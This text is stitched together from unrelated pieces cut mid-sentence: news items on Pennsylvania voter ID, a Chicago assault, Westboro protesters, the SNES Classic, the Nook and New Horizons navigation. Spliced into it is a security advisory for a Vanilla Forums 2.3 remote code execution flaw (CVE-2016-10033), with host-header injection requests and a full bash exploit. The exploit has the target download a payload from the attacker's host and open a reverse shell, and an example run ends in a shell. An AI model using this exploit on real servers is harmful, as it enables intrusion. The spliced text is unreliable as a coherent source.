Readers of The BRAD BLOG will recall our detailed investigative series of reports on what happened in Venango County last year when a bi-partisan election board, led by Republicans in a very Republican area of western PA, bucked the county's party establishment (and the legal threats from the voting machine company ES&S) to insist on an independent forensic audit of the county's e-voting system after several recent elections had resulted in reported vote-flipping, zero votes for some candidates, and other serious concerns on the touch-screen systems.
The results of the audit found, among other problems, that the system was completely insecure and had, in fact, been "remotely accessed" on "multiple occasions", including just days before the 2010 general election.
"Other than situations like that," says Kuznik, "I know of no certified results that ever said there was a 112% turnout. That's ludicrous."
"Back in the 40's, or something, when the party machines were much more entrenched than they are now, there might have been such incidents, but I don't know why they'd pass a law now to do something about what happened in the 1940s," she added.
"If they would just have half as much urgency --- a 50th of the urgency --- about these unverifiable DREs (Direct Recording Electronic, usually touch-screen, voting machines), with known problems, that can really the effect the outcome of an election, we'd be getting something done here."
Kuznik explained that "the Secretary of the Commonwealth confirmed they can't prove a single instance of voter impersonation fraud [the only type of voter fraud that can possibly be deterred by a polling place Photo ID restriction], but they have many instances of these machines failing."
Benen added a few additional comments of note in his article: "Indeed, Corbett was Pennsylvania's state Attorney General, and before that, a U.S. Attorney. If he had found evidence of such obvious fraud, he had opportunities to investigate and prosecute. That never happened, because the fraud never took place."
"It'd be less frustrating," he writes, "if proponents of voter-suppression tactics were more forthright about their motivations. Instead of pretending he's combating a problem that doesn't exist, Corbett and his allies should simply admit what is plainly true: GOP officials are eager to block traditionally-Democratic constituencies from voting, and requiring voter IDs disproportionately affects the poor, the elderly, and minorities."
"The facts are obvious," Benen concludes with one final shot at the Big Government-loving Republican Governor. "You just have to open your eyes."
Unless a successful legal challenge is made against the new GOP voting restriction in the important swing state of Pennsylvania, legally registered voters will be required to show a Photo ID at the polling place --- or they will not be allowed to cast a normal ballot --- for the very first time in the 2012 Presidential Election this November.
* * *
Please support The BRAD BLOG's fiercely independent, award-winning coverage of your electoral system, as available from no other media outlet in the nation, with a donation to help us keep going (Snail mail, more options here). If you like, we'll send you some great, award-winning election integrity documentary films in return! Details right here...CHICAGO (AP) — Chicago police don’t believe a man beaten in an assault broadcast live on Facebook was targeted because he was white despite profanities made by the accused assailants about white people and President-elect Donald Trump, a police spokesman said Thursday.
Charges are expected later in the day against four black suspects, Chicago police spokesman Anthony Guglielmi told The Associated Press.
Guglielmi acknowledged that the suspects made “terrible racist statements” during the assault, but that investigators believe the victim was targeted because he has “special needs,” not because of his race. Still, Guglielmi said authorities are looking at whether the attack falls under hate crimes statutes.
Guglielmi said it’s possible the suspects were trying to extort something from the victim’s family. Investigators said the victim was with his attackers, including one who was a classmate, for up to 48 hours, and the attack left him traumatized.
Excerpts of the video posted by Chicago media outlets show the victim with his mouth taped shut slumped in a corner as at least two assailants cut off his sweatshirt with a knife, as others taunt him off camera. The video shows a wound on the top of the man’s head, and one person pushing the man’s head with his or her foot. A red band also appears to be around the victim’s hands.
Off-camera, people can be heard using profanities about “white people” and Trump. At least one woman is shown in the video.
The victim is a suburban Chicago resident who Police Superintendent Eddie Johnson said has “mental health challenges.” In a news conference Wednesday, Johnson described the video as “sickening.”
“It makes you wonder what would make individuals treat somebody like that,” he said.
The investigation began Monday after officers found a man who “was in distress and was in crisis” walking on a street on the city’s West Side, Capt. Steven Sasso said. The man was taken to a hospital and it was later discovered that he had been reported missing from an unidentified suburb.
At about the same time, police took several people into custody at a nearby address where they found signs of a struggle and property damage. Investigators determined that the missing man had been at the same address.
When asked Wednesday about the racial comments on the video, Cmdr. Kevin Duffin said the four people in custody were “young adults and they make stupid decisions.” Investigators will have to determine whether the racial remarks were “sincere or just stupid ranting and raving” when considering a potential hate crime charge, Duffin said.
The victim was with his attackers for 24 to 48 hours before police found him, and the episode has left him shaken, according to Duffin.
“He’s traumatized by the incident and it’s very tough to communicate with him at this point,” he said.
The victim was a classmate of one of the attackers and initially went with that person voluntarily, Duffin said.
Police haven’t identified the individuals in custody, but said three are Chicago residents and one is from suburban Carpentersville. Guglielmi said the suspects are all age 18 or older, and that police were working with prosecutors on Thursday “to build the strongest case.”The Government of Saskatchewan is making some changes to 911 service in the province and it has created a new Crown corporation to oversee it.
On Thursday, the government announced the creation of the Saskatchewan Public Safety Agency to take care of 911 calls to dispatch services for more than 400 fire departments, provincial ministries with public safety roles, and a cache of emergency equipment.
Growing province demands change
"This new Crown will help meet the needs of our rapidly growing province and current technology demands to ensure we can continue providing excellent emergency communications services for all Saskatchewan residents," said Government Relations Minister Larry Doke.
The new 911 centre will be |
= '', $bOverrideSender = false) { if ($SenderEmail == '') { $SenderEmail = c('Garden.Email.SupportAddress', ''); if (!$SenderEmail) { $SenderEmail = 'noreply@'.Gdn::request()->host(); } } if ($SenderName == '') { $SenderName = c('Garden.Email.SupportName', c('Garden.Title', '')); } if ($this->PhpMailer->Sender == '' || $bOverrideSender) { $this->PhpMailer->Sender = $SenderEmail; } ob_start(); $this->PhpMailer->setFrom($SenderEmail, $SenderName, false); ob_end_clean(); return $this; }... ----------------------------------------- In default configuration of Vanilla the address is then passed to the phpmailer library as the sender address in the line: $this->PhpMailer->Sender = $SenderEmail; The official stable version 2.3 available at: https://open.vanillaforums.com/addon/vanilla-core-2.3 is bundled with PHPMailer library in version 5.1: -----[ library/vendors/phpmailer/class.phpmailer.php ]---- <?php /*~ class.phpmailer.php | Software: PHPMailer - PHP email class | Version: 5.1 ---------------------------------------------------------- This version of PHPMailer is affected by the: * PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) vulnerability also discovered by the author of this advisory and described in detail at: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html Similarly to recently disclosed exploit of WordPress Core 4.6 RCE: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html remote attackers may exploit the phpmailer vulnerability in Vanilla Forums by passing the payload (additional parameters to /usr/sbin/sendmail) within the HOST header. For example, the following web request: --- POST /vanilla2-3/entry/passwordrequest HTTP/1.1 Host: vanilla-forums-vhost -X Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Connection: close Content-Length: 149 hpt=&Target=discussions&ClientHour=2017-05-10+22%3A00&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON --- would inject -X parameter at the end of the argument list passed to /usr/bin/sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-oi] Arg no. 4 == [-f] Arg no. 5 == [noreply@attackers_server] Arg no. 6 == [-X] NOTE: It should be noted that this vulnerability can still be exploited even if Vanilla software is hosted on Apache web server with several name-based vhosts enabled, and despite not being the default vhost. This is possible as the attacker can take advantage of HTTP/1.0 protocol and specify the exact vhost within the URL. This will allow the HOST header to be set to arbitrary value as the Apache server will obtain the SERVER_NAME from the provided URL. This will ensure that the malicious request will reach the affected code despite invalid vhost within the HOST header. To demonstrate, the above web request could be simply modified to: --- POST http://vanilla-forums-vhost/vanilla2-3/entry/passwordrequest HTTP/1.1 Host: arbitrary-string -X --- to achieve the same effect on a host with multiple vhosts. V. PROOF OF CONCEPT EXPLOIT ------------------------- ---[ vanilla-forums-rce-exploit.sh ]--- #!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day # Core version (no plugins, default config.) # # CVE-2016-10033 (RCE) # CVE-2016-10073 (Header Injection) # # vanilla-forums-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski # https://legalhackers.com # https://twitter.com/dawid_golunski # # ExploitBox project: # https://ExploitBox.io # # # Exploit code: # https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh # # Full advisory URL: # https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html # # # Related advisories: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html # # White-paper 'Pwning PHP mail() function For Fun And RCE' # https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html # # # Usage: #./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip # # Tested on: # Vanilla Core 2.3 # https://open.vanillaforums.com/addon/vanilla-core-2.3 # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulnerabilities/exploitation? # # #.;lc' #.,cdkkOOOko;. #.,lxxkkkkOOOO000Ol' #.':oxxxxxkkkkOOOO0000KK0x:' #.;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;..:oOKKKXXXNNNNOl. # '';ldxxxxxdc,.,oOXXXNNNXd;,. #.ddc;,,:c;.,c:.cxxc:;:ox: #.dxxxxo,.,,kMMM0:..,.lxxxxx: #.dxxxxxc lW. oMMMMMMMK d0.xxxxxx: #.dxxxxxc.0k.,KWMMMWNo :X:.xxxxxx: #.dxxxxxc.xN0xxxxxxxkXK,.xxxxxx: #.dxxxxxc lddOMMMMWd0MMMMKddd..xxxxxx: #.dxxxxxc.cNMMMN.oMMMMx'.xxxxxx: #.dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: #.dxxxxxc ;Mc.lx.:o, Kl 'xxxxxx: #.dxxxxxdl;..,...;cdxxxxxx: #.dxxxxxxxxxdc,. 'cdkkxxxxxxxx: #.':oxxxxxxxxxdl;..;lxkkkkkxxxxdc,. #.;ldxxxxxxxxxdc,.cxkkkkkkkkkxd:. #.':oxxxxxxxxx.ckkkkkkkkxl,. #.,cdxxxxx.ckkkkkxc. #.':odx.ckxl,. #.,.'. # # Subscribe at: # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace'' (space) with #sed's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } echo "$intro" | base64 -d if [ "$#" -ne 2 ]; then echo -e "Usage:
$0 target-forum-url reverse_shell_ip
" exit 1 fi target="$1" rev_host="$2" echo -e'\e[44m| ExploitBox.io |\e[0m' echo -e " \e[94m+ --=|\e[0m \e[91m Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m \e[94m|\e[0m" #sleep 1s echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m \e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m \e[94m+ --=|\e[0m \e[91m*\e[0m For testing purposes only \e[91m*\e[0m \e[94m|\e[0m " echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target'? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...
" #sleep 2s #sleep 2s # Host payload on :80 RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # POST data string data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON' # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK" if [ $? -ne 0 ]; then echo "[!] Failed conecting to the target URL. Exiting" exit 2 fi echo -e "\e[92m[+]\033[0m Connected to the target" echo -e "
\e[92m[+]\e[0m Payload sent successfully" sleep 2s # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/usr/bin/nohup /bin/bash /tmp/rce" prep_host_header "$cmd" #echo -e "Host Payload2:
Host: $host_header" curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 & echo -e "
\e[92m[+]\033[0m Payload executed!" echo -e "
\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...
" nc -vv -l 1337 #killall python echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.
" exit 0 fi #kill -9 $hpid echo "Exiting..." exit 0 ---[ EOF ]--- Video PoC ~~~~~~~~~~~ Example run ~~~~~~~~~~~~ #./vanilla-forums-rce-exploit.sh http://xenial//vanilla2-3/ 192.168.57.1.;lc'.,cdkkOOOko;. _______., ________ ________ _______ \ ___/_ ____ '___\ /_____\ _______\_ _/_ / _/ \\ \/ / __/ // | \_____// \ /_________>> < __/ / /-\ ____ / \ _______/ <___/\___> /________/ /_______>.ddc;,,:c;.,c:.cxxc:;:ox:.dxxxxo,.,,kMMM0:..,.lxxxxx:.dxxxxxc lW. oMMMMMMMK d0.xxxxxx:.dxxxxxc.0k.,KWMMMWNo :X:.xxxxxx:.dxxxxxc.xN0xxxxxxxkXK,.xxxxxx:.dxxxxxc lddOMMMMWd0MMMMKddd..xxxxxx:.dxxxxxc.cNMMMN.oMMMMx'.xxxxxx:.dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:.dxxxxxc ;Mc.lx.:o, Kl 'xxxxxx:.dxxxxxdl;..,...;cdxxxxxx:.dxxxx ________ ____ _____ xxxxx:.':ox \ /_ ________\ \/ / xxc,.. / / \\ > < x, / / | / /\ \ \_________<_______<____> \____>.':odx.ckxl,..,.'. | ExploitBox.io | + --=| Vanilla Forums <= 2.3 Unauth. RCE Exploit | + --=| | + --=| Discovered & Coded By | + --=| Dawid Golunski | + --=| https://legalhackers.com | + --=| @dawid_golunski | + --=| | + --=| "With Great Power Comes Great Responsibility" | + --=| * For testing purposes only * | [*] Sure you want to get a shell on the target 'http://xenial//vanilla2-3/'? [y/N] y [*] Guess I can't argue with that... Let's get started... [+] Connected to the target [+] Payload sent successfully [+] Payload executed! [*] Waiting for the target to send us a reverse shell... Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 51744) bash: cannot set terminal process group (5243): Inappropriate ioctl for device bash: no job control in this shell www-data@xenial:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@xenial:/$ whoami whoami www-data www-data@xenial:/$ exit exit exit Exiting... VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, a remote unauthenticated attacker could remotely execute arbitrary code on the target and fully compromise the application / system on which the application is hosted. VII. SYSTEMS AFFECTED ------------------------- The latest stable release of Vanilla Forums available at the official website: https://open.vanillaforums.com/addon/vanilla-core-2.3 was confirmed to be vulnerable. Previous versions are also likely to be vulnerable. VIII. SOLUTION ------------------------- This vulnerability was reported to Vanilla Forums support team in December 2016 however it has remained unpatched for over 5 months. As there has been no progress in this case, this advisory is finally released to the public without an official patch. As a quick mitigation (before updating the affected PHPMailer library), users can pre-set the support email (sender's address) to a static value to prevent the dynamic creation of the email address / the use of the HOST header. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io https://twitter.com/Exploit_Box Vendor site: https://vanillaforums.com Confirmed vulnerable stable version of Vanilla Forums 2.3: https://open.vanillaforums.com/addon/vanilla-core-2.3 https://open.vanillaforums.com/discussion/32822/vanilla-2-3-is-now-available Video PoC: https://www.youtube.com/watch?v=8tWfWjfhZWU PoC exploit code URL: https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh Related advisories / white-papers: https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html X. CREDITS ------------------------- Discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io XI. REVISION HISTORY ------------------------- 11.05.2017 - Advisory released, rev. 1 XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.Uber-hatering Westboro Baptist Church said they were sending eight protesters from their Topeka headquarters to Newport Beach, CA to froth and scream over local Corona del Mar High School’s production of "Rent."
Times must be tough; only three, including Fred Phelps, the leader of the church–which counts only members of Phelps’ extended family as congregants–showed up in front of the school at 2pm Friday. They were met by 300 counter-protesters, including local clergy, parents, students and neighbors, according to the Orange County Register.
The counter-protesters waved rainbow flags and held signs that included messages like "Hate is not a family value," and "Love is Not a Sin." WBC’s signs were full of fail, especially the one with a fetus between two hamburger buns. After after an hour of having their chants downed out by the pro-gay crowd, including 30 who stood next to them, the WBC spiritual troglodytes asked the Newport Beach Police to escort them to their cars. According to the Orange County Register, they told an officer, who asked to remain unidentified, that they feared for their lives and were heading to the airport, abandoning plans to protest Friday night at the play itself.
About 20 police were on hand along with private security from the school. Located in very conservative Orange County, Newport Beach is one of the wealthiest communities in the United States.
Theatre teacher Ron Martin told the Los Angeles Times that he was so proud of the students for speaking out. He had chosen Rent as the school’s drama production, hoping it would create a more tolerant attitude at the school after a video appeared on Facebook showing Corona del Mar students using anti-gay slurs and threatening a female student.Homosexual insults are also common on the campus.
The school is currently embroiled in an ACLU lawsuit alleging that school officials have foster a homophobic and sexist environment.
The production of "Rent" performed at Coronas de Mar High is the "school-safe" version. High senior James Ramsey told the OC Register:
I think the school version does a very good job of bringing the material down and making it appropriate at a high school level. I feel like (homophobia) is just a common thing in high schools in general as well as in Orange County, being one of the most conservative counties in California.
But yesterday students and residents from this conservative community showed Fred Phelps and his crazed followers (all two of them) that hate is not acceptable in Newport Beach. And hopefully that concept will stick at the school.Last year, the video game world and public at large seemed to lose its collective mind over the NES Classic Edition, a miniature version the Nintendo Entertainment System pre-loaded with a bunch of famous games and possessed of a certain ineffable cuteness. It sold out immediately and became nearly impossible to find throughout the holiday season, becoming both one of the hottest gifts available anywhere and a source of constant frustration for the people who wanted to get their hands on one. This year, Nintendo is doing it again with the SNES Classic Edition, which is the same deal but with the Super Nintendo Entertainment System. Nintendo has promised it will make more this time around, but it seems that anyone expecting smoother sailing should temper those expectations. Things are early and all we've seen are the first round of pre-orders, but GameStop Senior Merchandising Director Eric Bright says that the new console could be even more popular than last year's console.
"The amount of demand that we've seen on the website was certainly greater than the NES Classic when it first got out," he says. "More and more people want it, and there were a lot of people that did not get an NES, so they're trying their hardest to get an SNES."
Bright says that they can't confirm any additional pre-order allocations before launch day on September 29, but says that it would not be impossible for Nintendo to free up some more units. GameStop will definitely have more units at launch, however, both in-store and online.
"We sold out in under ten minutes," he adds. "I want to say that we sold out in 8 minutes."
Anyone who tried to buy an SNES Classic Edition pre-order when they went live can speak to just how quickly they went out of stock at every retailer that carried them. Technical problems compounded the mad rush to sites selling the machines: Target allowed people to put the console in their carts before telling them it was out of stock, and GameStop's main site went down shortly after the consoles went live. The immediate rush of units to resellers like eBay also underlined the presence of scalpers going after the in-demand items, many of them using bots to get an edge on the human competition.
Bright acknowledges the problem and says that slowing the use of bots primarily a concern for GameStop's IT team. Selling units in store, however, is one way to give actual people a leg-up on the automated competition when it comes to picking up in-demand items like the SNES Classic Edition.
So you'll likely need to either head to eBay or obsessively check stock updates if you want to get one of these consoles this holiday season. The explosive demand, Bright says, comes from a few places. For one thing, the NES Classic Edition came out when people were still getting excited about all things Nintendo in the wake of Pokémon GO, and that momentum has carried over to this year after so many people failed to get their hands on the NES. It's also because these consoles hit a much larger audience than most games, encompassing hardcore gamers interested in older titles along with pretty much anyone who grew up with Nintendo in the 80s and 90s.
"What's old is new again," says Bright. "And the amazing thing is that it's bringing in an entirely new consumer, one that fondly remembers these systems from their childhood and loves being able to come back in and experience the simplicity of these systems."Barnes & Noble, the largest book retailer in the United States, has added Google's app store to try to lure the British public away from Apple's iPad and Amazon's Kindle, a move that will increase the number of apps available on the Nook HD and Nook HD+ tablets from 10,000 to 750,000, roughly the same as the iPad.
"This deal is about plugging that gap. Consumers told us they wanted more apps," Barnes & Noble CEO William Lynch told Reuters.
Nook HD and Nook HD+ devices sold in stores as of today will already have Google Play installed. Existing customers will be able to download it at Nook's online store and via an automatic over-the-air update.
The tablets will also have Google services like Gmail, YouTube, Google Maps, and the Chrome web browser.
"It's a positive product enhancement - adding the Android features is a great step. It makes this device competitive," said Sarah Rotman Epps, a senior analyst with Forrester Research, who nonetheless said the move was "not a game changer" in the fight against technology giants whose devices have more consumer visibility.
Google Play is expanding its offering quickly: in the last year, it has rapidly closed the gap with Apple's market-dominating apps store in terms of sheer quantity, with both expected to hit one million soon.
The collaboration with Google comes as Barnes & Noble is seeking to reignite customer interest in its Nook, the core part of its Nook Media unit. The bookseller is considering spinning off the Nook Media unit and has already attracted investments from software giant Microsoft and publisher Pearson.
The Nook, launched in the UK barely five months ago but has been on sale since 2009 in the US. It has been the cornerstone of Barnes & Noble's strategy to benefit from the shift by many readers to digital books.A century from now, NASA’s successful flyby of Pluto and its five known natural satellites will rank right up there with the moment Apollo 11 first touched down on the lunar surface and the Viking 1 lander sent its first color photos from Mars.
Yet unlike getting to the Moon and Mars, flying within 7800 miles of Pluto’s surface at a clip of some 13 kilometers per second required two independent ground-based navigation teams using both state-of-the-art in situ optical navigation as well as radio tracking from NASA’s Deep Space Network (DSN).
The teams had to hone the New Horizons spacecraft’s 3 billion-mile flight trajectory to fit inside a rectangular flyby delivery zone measuring only 300 kilometers by 150 kilometers.
But this was hardly NASA’s first navigatory rodeo. Fifty years ago last month, NASA’s Mariner 4 spacecraft first turned the world’s head with its 1965 successful Mars flyby. In contrast to Mariner 4’s Mars journey, however, New Horizons used both radio and optical navigation to get to Pluto, which is only about half the size of our Moon, but circles our Sun roughly every 248 years. And the mission’s navigation was led by a branch of KinetX Aerospace based in Simi Valley, Calif. with a second, independent navigation team at NASA’s Jet Propulsion Laboratory.
The Mariner 4 flyby navigated using only radio-tracking data since the precision requirements for such an early Mars flyby mission were far less stringent than today, Coralie Jackman, an optical navigation specialist on KinetX’s New Horizons navigation team, told me.
So, how is optical navigation achieved from a fast-moving spacecraft like New Horizons?
To tell the navigators just where a given spacecraft is positioned, “optical navigation in space involves taking pictures of some foreground object with stars in the background,” Bill Owen, JPL’s Optical Navigation Group’s supervisor, told me.
These background stars are at least a thousand times fainter than what the human eye can see and lie in the constellation of Sagittarius, says Owen.
Optical navigation measurements for Pluto, says Jackman, began roughly a year ago, long before the flyby. However, in the final days before the flyby, she says the measurements became sensitive to the effect of “angular parallax” in the Pluto system, which helped determine the time of closest-approach.
As Jackman notes, this parallax effect is akin to driving a car past a signpost. Approaching the sign, she explains, background objects move with respect to your view of the sign, and just before you pass it, you get a sense of how close you are.
Before the flyby, says Owen, the time of New Horizons’ closest approach to Pluto could not be predicted to better than a few hundred seconds. Optical navigation pictures in the last week before encounter trimmed this uncertainty to about 30 seconds.
“Pluto hardly moved in the sky during our approach, and about 10 background stars routinely appeared in most of our pictures,” said Owen.
Two of Honeywell Aerospace’s Miniature Inertial Measurement Units continue to provide critical orientation and acceleration data for the spacecraft in order to determine precise positioning and to assist the team in making midcourse corrections.
As Owen explains, using LORRI (Long Range Reconnaissance Imager) --- the most crucial instrument for optical navigation on the spacecraft; the teams took short 100 to 150 millisecond exposures to minimize image smear. Such images helped give the teams an estimate of the direction from the spacecraft to Pluto.
Before the flyby, we didn't know the distance from the Sun to Pluto more accurately than a few thousand kilometers, says Owen. But he says a century of ground-based and Hubble Space Telescope observations of Pluto had produced a fairly good estimate of its orbit around the Sun.
“There is thus a big triangle -- Earth, Pluto, and the spacecraft -- and each side of that triangle is measured,” said Owen. “The navigator combines all three data sets into a coherent picture of where the spacecraft is going.”
Another major key in optical navigation is “centerfinding,” the process of determining the center of an image of some extended body, be it a star or even a dwarf planet like Pluto. Thus, the teams measured both the centers of stars in the field and the center of Pluto to tell them where the spacecraft was pointed.
“Pluto's bright and dark markings enabled [production] of a map of the hemisphere of Pluto that faces [its moon] Charon,” said Owen. “To determine the center of Pluto, we computed pixel by pixel what it should look like and slid this prediction on top of the real picture until we got a good match.”
The difference in where we predict it to be and where it actually is gives us information as to how to adjust the spacecraft’s trajectory, says Jackman.
But radio tracking data from NASA’s DSN is also key to the spacecraft’s navigation.
The teams are able to glean the distance from Earth to the spacecraft by measuring the time it takes a radio signal to travel to and from the spacecraft. And by using the spacecraft signal’s shift in frequency due to the Doppler effect (akin to listening to the changes in tone from a passing automobile), the navigators are able to attain the spacecraft’s range rate (or velocity along its line of sight as seen from Earth).
Owen says delta |
